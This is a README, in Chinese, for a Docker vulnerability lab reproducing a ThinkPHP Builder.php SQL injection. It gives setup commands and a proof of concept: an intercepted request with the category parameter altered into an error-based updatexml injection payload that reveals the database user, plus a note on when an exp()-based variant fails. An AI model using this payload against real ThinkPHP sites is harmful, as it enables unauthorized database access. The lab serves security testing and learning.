VulApps/t/thinkphp/1/README.md

2.0 KiB
Raw Permalink Blame History

ThinkPHP Builder.php SQL注入漏洞

漏洞信息

获取环境:

  1. 拉取镜像到本地
$ docker pull medicean/vulapps:t_thinkphp_1
  1. 启动环境
$ docker run -d -p 80:80 medicean/vulapps:t_thinkphp_1

-p 80:80 前面的 80 代表物理机的端口,可随意指定。

使用与利用

访问 http://你的 IP 地址:端口号/, 假设启动的端口号为 80

PoC

  1. 访问 http://127.0.0.1/,测试服务是否启动成功。

该 Demo 是个消息盒子,灰色是已读消息,黑色为未读消息,当批量标记已读时,会触发漏洞

  1. 打开Burp开启抓包选择消息类别后点击「标记已读」按钮截获到数据包

该请求为 GET, 请求的 URL 为:

http://127.0.0.1/Home/Index/readcategorymsg?category=%E7%B3%BB%E7%BB%9F%E6%B6%88%E6%81%AF

  1. 修改GET参数category,提交到服务端后页面出现SQL注入报错结果:
http://127.0.0.1/Home/Index/readcategorymsg?category[0]=bind&category[1]=0 and (updatexml(1,concat(0x7e,(user())),0))

如果使用了参考文章中的 exp , 在尝试的时候出现1690:DOUBLE value is out of range in 'exp(~((select 'a'.'user()' from (select user() AS 'user()') 'a')))' 只返回了语句并未报出结果,是因为使用的 mysql exp 报错注入会因为 mysql 版本的原因可能会不成功,建议使用 updatexml 来进行

注意当DEBUG模式关闭时不会显示报错信息

参考链接